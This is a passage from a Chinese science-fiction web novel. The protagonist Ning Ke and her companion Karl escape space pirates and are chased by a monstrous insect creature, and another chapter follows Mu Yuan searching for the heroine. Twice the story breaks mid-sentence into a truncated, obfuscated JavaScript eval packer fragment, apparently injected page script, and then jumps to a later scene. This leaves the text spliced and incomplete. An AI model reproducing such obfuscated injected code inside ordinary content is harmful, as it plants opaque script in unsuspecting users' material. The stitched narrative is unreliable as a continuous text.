宁可僵了一下,慢慢把手举到耳边,一动不敢动。 “你是谁?干什么的?” “呃……”宁可喉咙发紧,“我是稀土星人,想来耶尓亚。” “偷渡?” “是、是的。” “你其他同伴呢?” “呃……没有同伴,就、就只有我一个——” “放NM狗屁。” 没有给宁可改口的机会,身后的男人话音未落,已然抬起枪托,狠狠砸在了宁可后颈上。 宁可眼前一黑,连疼都没来得及感受清楚,整个人就软了下去。 …… 宁可觉得,这一天过得格外漫长。 梦梦醒醒的,短短几个小时里,她已经晕过去两次。 而且每次把她弄醒的,都是卡尔。 再睁开眼时,她发现自己和卡尔背对背坐着,分别被绑在一根粗大的钢管两侧。手腕被麻绳死死勒住,稍微一动,就磨得生疼。 “你说你跟出来到底有什么用?”卡尔一听见她这边有动静,立刻开始数落,“人都摸脸上了,你愣是看不见。” 宁可脑子还有点发懵,下意识“嗯?”了一声,过了两秒才反应过来卡尔说了什么。 “你好意思说我?”她不服气,“你自己不也没发现。” “我他妈在放水!” “你放水的时候会捂耳朵闭眼睛吗?” 话一出口,宁可自己都愣了一下。 “欸,”她有点新奇,“我感觉跟你待久了以后,口才都变好了。” 卡尔那边传来一声短促的嗤笑,也不知道到底是不是在笑她。 宁可这才腾出空来打量四周。 他们已经不在先前那片荒郊野岭了,而是被人转移到了某栋废弃建筑里。 这地方像是一层烂尾楼的大平层,空间空空荡荡,没有地板,除了安了扇门以外,几乎没做任何装修。 风从唯一开了窗的那面墙灌进来,带着闷热的湿气。 可惜他们离那扇窗太远,只能勉强看见远处一片树梢。 “有一个好消息和一个坏消息,”卡尔忽然开口,“你先听哪个?” 宁可想了想:“……好消息吧。” “好消息是,这伙人把我们当偷渡的了,所以暂时没打算杀我们。” “我们不本来就是偷渡的吗?” 卡尔沉默了两秒,继续说道:“坏消息是,他们多半是伙星际海盗,或者走私犯。反正别指望他们有什么道德。” “你怎么知道?” “路上装晕的时候听他们说话了。” 宁可感受着后颈一阵一阵发胀的钝痛,顿时觉得很不公平。 “你是醒着被带来的?” “你以为谁都跟你一样,”卡尔凉凉道,“睡得跟死猪似的,抬走了都不知道。” 宁可懒得跟他斗嘴,用力扯了扯手臂,想看看能不能把绳子挣开。 结果她这边还没使上劲,卡尔那头就倒吸了一口凉气。 “你他妈干嘛呢!” “呃……把绳子扯断?” “我们绳子连在一起的!你再使点劲,我胳膊先断了!” “你忍忍。” “我忍个蛋!你别动,我有刀!”卡尔压低声音嚎了一嗓子。 “啊?”宁可一愣,“哪儿来的?” “随身带的。” “那你快用啊!” 卡尔没再说话,两分钟后,两人总算恢复了自由。 宁可这才看清卡尔说的“刀”是什么——小得可怜,薄薄一片,像她上辈子小学文具店里卖的卷笔刀刀片。 “你随身带个这东西干嘛?”宁可问。 “以前被人整过一次,后来就养成习惯了,有备无患。”卡尔勾了勾嘴角,“这伙人还是太年轻。” “……我怀疑你多少有点被害妄想症。” “你意思是我们现在这处境,是我妄想出来的?” 宁可摇了摇头。 “那不得了。” 卡尔走到门边,试着拧了拧把手,果然打不开。 他低头看了看,拿起刚解下来的绳子,在门把和一旁裸露的钢水管上死死绕了好几圈,最后打了个结,尽量让外头的人没法第一时间把门推开。 随后,他又走到有窗的那面墙边,微微探出头,朝外窥视。 宁可有样学样,也凑过去,蹲在地上露出小半个脑袋。 他们现在大概在四楼。下方几个建筑间的小广场上,零零散散站着不少人,几乎每个人背上都挂着枪。 那枪通体银白,泛着冷冷的金属光,看起来比稀土星上那些破烂货高级不少。 带头的是个身材高大的短发女人,皮肤棕黑,只穿了件马甲,胳膊上肌肉结实得吓人,嗓门也粗得像被砂纸磨过。 “Fuck,我们已经等了你整整三天!去你妈的!我再给你五个小时,再不来交易就他妈作废!这东西我们又不是卖不出去——” 女人举着通讯器,骂得唾沫横飞,对方回了什么却听不太清。 “她们要卖什么啊?”宁可压低声音问。 “你可以下去问问她,”卡尔面无表情道,“看她愿不愿意告诉你。” 宁可翻了个白眼:“那我们现在怎么办?” “硬闯出去动静太大,肯定不行。”卡尔道,“只能等天黑,看看能不能从窗户走。” 宁可朝外看了一眼。 太阳虽然已经偏西,但离真正天黑显然还早得很。 “那这会儿我们干嘛?”她泄了气,“就在这儿干坐着?” “你要是实在闲得慌,”卡尔靠着墙蹲下来,语气懒洋洋的,“可以做几个俯卧撑。” 宁可气得差点踹他一脚。 但考虑到眼下的处境,她还是忍住了。 两人就这么缩在墙边,有一搭没一搭地低声说着话,中间还轮流探头往外看了几次。 外头的人来来去去,像是在搬运什么东西。宁可看不真切,只觉得这些人的神情都绷得很紧,和她想象中那种散漫粗野的地痞流氓不太一样。 宁可又想说点什么,楼道外却传来一阵脚步声。 两人同时一僵,各自闭了嘴。 脚步声停在门外,紧接着,门把手轻轻动了一下。 卡尔朝宁可做了个噤声的手势,自己则攥紧那枚小刀片,悄无声息地退到门侧。 门外的人推了两下没推开,低低骂了句“这破门”,很快又走远了。 宁可长出一口气,刚想说话,却见卡尔脸色变得有些难看。 “走。”他压低声音,“现在就走。” “啊?不是等天黑——” “他们换岗了。”卡尔已经猫着腰往窗边去,“刚刚那人多半察觉门不对劲了,再拖下去,迟早要进来查。” 他动作极快,先试了试窗边那圈锈迹斑斑的金属框,确认勉强还能承重,才回头朝宁可招手。 “过来。” 宁可硬着头皮走过去,往下一看,腿先软了一半。 “这也太高了吧……” “才四层。”卡尔道,“你不是挺能打么?这点高度都下不去?” “这根本不是一回事!” “少废话。” 卡尔率先翻出窗外,抓着外墙一根裸露的排水管,慢慢往下滑。 宁可看得头皮发麻,但楼道里已经隐隐又传来动静,她也顾不上怕了,只能一咬牙跟上。 结果她才下到第三层,脚下踩着的水泥边沿就“咔啦”一声裂开了。 宁可心里咯噔一下。 下一秒,楼下有人猛地抬头,大吼了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可这具身体的颤栗告诉她,这玩意跟虫族脱不了干系。 门外追兵的脚步声已经逼近,夹杂着急促的叫喊: “他们跑进去了!就在里面!” 卡尔猛地回过神,一把拉住宁可,带着她躲到一排堆叠的金属箱后面。两人才刚缩进去,仓库门就被人“轰”地一声撞开。 几个男人持枪冲了进来。 为首那人骂道:“妈的,人呢?” “分开找!” “别他妈乱开枪!”另一个人立刻呵斥,“老大说了,仓库里的货要是出了问题,咱们都得完蛋!” 宁可缩在箱子后面,连呼吸都不敢太重。 她余光一扫,忽然看见仓库一角扔着自己丢失的那把振动刀,刚想猫过去捡,视线却陡然定住。 怪物尾部那几根布满尖刺的附肢,轻轻抽动了一下。 卡尔显然也看见了,脸色一下子变得极差。 “那玩意要醒了。”他几乎是用气音说。 宁可没出声。 她只觉得心跳越来越快,几乎要从胸腔里蹦出来,一股莫名的眩晕感同时涌了上来,连带着身体都有些发飘。 就在这时,外头又响起一阵更急的脚步声。 一个男人快步冲进仓库,张口就吼: “都出来!买家那群孙子快到了,老大让把货先——” 话还没说完,仓库另一头不知是谁太紧张,枪口一歪,子弹“砰”地一声擦过金属囚笼,火星四溅,硬生生打断了他后半句话。 下一秒。 那只怪物睁开了眼。 19. 旧伤 慕远来到稀土,已经快半个标准月了。 明面上,他是为调查“稀土星出现虫族踪迹”一事而来,可实际上,这种事本不必由他亲自出面。 虫族虽是霍拉比星特有的异种生物,但因其存在某种至今无法被科学彻底解释的物种天赋,多年来,旧世界、第三世界,乃至帝国麾下部分附庸国和大型企业,都在暗中收购虫族活体。 这在帝国高层,算不上什么秘密。 所以,稀土星出现虫族,并不值得大惊小怪。 真要处理,无非是后续如何对外解释,如何安抚舆论,如何让那些媒体闭嘴——仅此而已。 慕远真正的目的,从始至终,都只有宁珂。 宁珂一直是个识大体、顾大局的女人,所以慕远曾以为,就算出了如今这般变故,宁珂也应该是可以理解他的。 他明白,自己欠宁珂一个道歉,和一句感谢,他不打算逃避什么,等宁珂回来以后,他一定会尽可能补偿她,恢复她在国内的声誉。 未来还很长,时间会冲淡一切,他还有很多机会弥补,挽回她的心。 但,宁珂一直没有回来。 稀土驻军始终没有收到她的联络申请,星港那边也始终查不到她的通行记录。 那个女人仿佛人间蒸发一般,只留下一则“我还活着”的讯息,随后彻底销声匿迹。 收到稀土出现虫族目击情报的那天,慕远短暂地松了口气,甚至称得上狂喜。 既然虫族出现了,那就说明宁珂迟迟不归,未必是因为怨恨,也许只是被虫族绊住了脚步。 可一盆冷水便紧接着浇了下来。 那份情报,是匿名提交的。 匿名。 慕远想不明白,宁珂为什么要这么做。 整个稀土星,若真有人会特地收集虫族痕迹、拍照留证、再设法递交给帝国,那个人除了宁珂,还能是谁? 可如果真是她,她为什么不肯露面?为什么不联络军部?为什么不来见他? 他不愿去想另一种可能。 可这半个月来,那个可能始终像根刺一样,扎在他心口。 林塔递交辞呈时,曾对他说:“你对不起她,你也配不上她对你的付出。” 当时慕远只觉得可笑。 “我和她之间,轮不到你说话。” 他和宁珂的事,从来都只是慕家的家事,他曾把林塔当兄弟,当战友,但这不代表林塔有立场对慕家指手画脚。 可林塔仿佛根本没听见,只是死死盯着他。 “我不会再把她让给你了。” “你根本不配。” 慕远这才知道林塔对宁珂抱持的究竟是怎样一种情感。 但那时他还只觉得讽刺,觉得林塔未免太自以为是、自作多情。 直到这些日子过去,宁珂迟迟不现身,他几乎将稀土几座可能藏人的自由城翻了个遍,却既找不到宁珂,也找不到林塔—— 他不愿往深处想,只开始后悔当初林塔离开时,自己为什么没有派人盯住他的去向。 而今天。 来到稀土的第十五个标准日,慕远的个人终端终于收到了一条来自慕家总部情报官的加密消息。 只有短短一行字: “一行动组于帝国边境执行任务时,搜救到一位名叫林塔的前帝国舰队军官。” 耶尓亚的情报,经由星际空间站传递到稀土,通常需要八到十五分钟。 慕远决定秘密登上速度最快的护卫舰直飞耶尓亚,也只花了十五分钟。 …… 另一边,距离宁可和卡尔不远处,笼子里的怪物已挣扎着抬起似蛇非蛇的上半身,腹间囊肿渐渐亮起一瓣瓣片状荧色光斑,在阴暗的仓库里尤为显眼。 “咔吱——” 铁笼顶盖在怪物的顶撞下,发出不堪重负的哀鸣。 仓库里几个星盗再顾不上宁可和卡尔,个个死盯着笼中那狰狞恐怖的存在。 有人举起枪,瞄准怪物,转眼又被一个看起来像领头的男人按了下去:“你想死吗!?你知道抓这东西花了我们多少钱!?” “我……” 那人话没说完,就被金属扭曲变形的吱呀声打断。 “老、老大呢?我……我去找老大?” “蠢猪!去加大药量!” 男人发出命令,却没人敢靠近铁笼旁的操作台。 “嘣——” 第一声金属崩断。怪物开始顺着撑开的笼缝往外钻。 断裂的金属管刺破它的肌肤,更加浓重的腥臭味瞬间弥漫开来。怪物伤口处流出淡绿色液体,液体一沾上金属笼,立刻“滋滋”作响,腾起大片白烟。 “快、快跑啊!” 不知是谁先喊了第一声,场面瞬间失控。大部分星盗慌乱地往门口冲去,只剩两三个还下意识抱团后退。 大概是怪物□□腐蚀了笼锁,下一刻,笼门猛地弹开。 怪物那张似人非人的脸上,仿佛浮出一个狞笑。蜘蛛般的腿脚交替摆动,数秒间便追上了跑得最快的那批星盗。 它前肢一探,两柄带着骨刺的螳螂刀般利爪,瞬间捅穿了两个星盗的腹部。 惨叫和哭喊一齐炸开。 旁边的同伴惊恐开枪,子弹射入那发光的囊肿,霎时间□□四溅。 凡是大量被那液体沾染的人,无不倒地痛苦地惨叫翻滚,紧接着又被怪物的肢节刺穿身体,当场毙命。 “艹NM的,抓两个废物都这么费劲!” 仓库外传来一声咆哮,正是不久前在广场上和买家通话的壮硕女人。可她刚一进门,便猛地僵住,和几米外的怪物对上了视线。 女人只愣了一瞬,下一秒几乎本能地暴退。 “都他妈别乱——” 她一句话还没喊完,那怪物便猛地扑了上来。 它的速度快得离谱。先前那副被药物压制得迟缓笨重的模样,几乎已彻底消失了。 数条节肢在地面一撑一弹,金属地板上顿时刮出一串刺耳噪音,整具庞大的躯体几乎贴地飞掠而出。 壮硕女人反应也极快,侧身一滚,险之又险地避开那对螳螂般的骨刃。 骨刃“锵”地一声劈进她身后的铁架,半截金属架当场被削断,轰然砸落。 “都傻了吗!?开火啊!”她嘶吼道。 剩下几个星盗这才如梦初醒,端枪便射。 仓库里瞬间枪声大作。 可这一次,怪物几乎是在枪响的同时猛地扬起上半身,两侧紫黑色蝠膜般的组织骤然张开挡在身前,腹间那几瓣荧色囊肿一明一灭地鼓动着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怪物钻不进这种小巷,可偏偏周围建筑又太矮。它纵身一跃,便踩上屋顶,沿着建筑顶端飞快朝两人逼近。 宁可回头看了一眼。 不看还好,一看魂都快飞了——那怪物前肢上竟还挑着那壮硕女人的半截尸体,一边啃食,一边朝她狞笑,数息之间,距离她已不足数米! “嘭!” 一声极近的爆炸骤然响起,声浪几乎震聋宁可的耳朵。 火光之中,她看见半空中不知何时多了一架直升机。机舱里坐着林特尔,以及几个穿军装的陌生人,其中一人正半蹲在舱门前,肩上扛着火箭筒。 宁可决定回头一定要跟林特尔道个歉。之前污蔑他是杀手实在对不起。 她看见林特尔正歇斯底里地朝她挥手,嘴里大喊着什么。 可宁可耳朵里像灌进了一千只蚊蝇,嗡鸣不止,什么都听不清。 但很快,她就明白林特尔在喊什么了。 ——快跑。 那发□□不知为何没能炸死怪物,反而彻底激怒了它。怪物朝半空中的直升机发出几声无能狂怒的嘶吼,下一刻,又重新将目光死死锁在宁可身上。 宁可心里狂喊不妙,正要继续跑,手边却猛地一沉。 她惊恐地转头。 只见卡尔半蹲半瘫在地上,脸色惨白,扯着嘴角笑了一下。 “蠢女人,”他说,“你跑你的,别管我了。”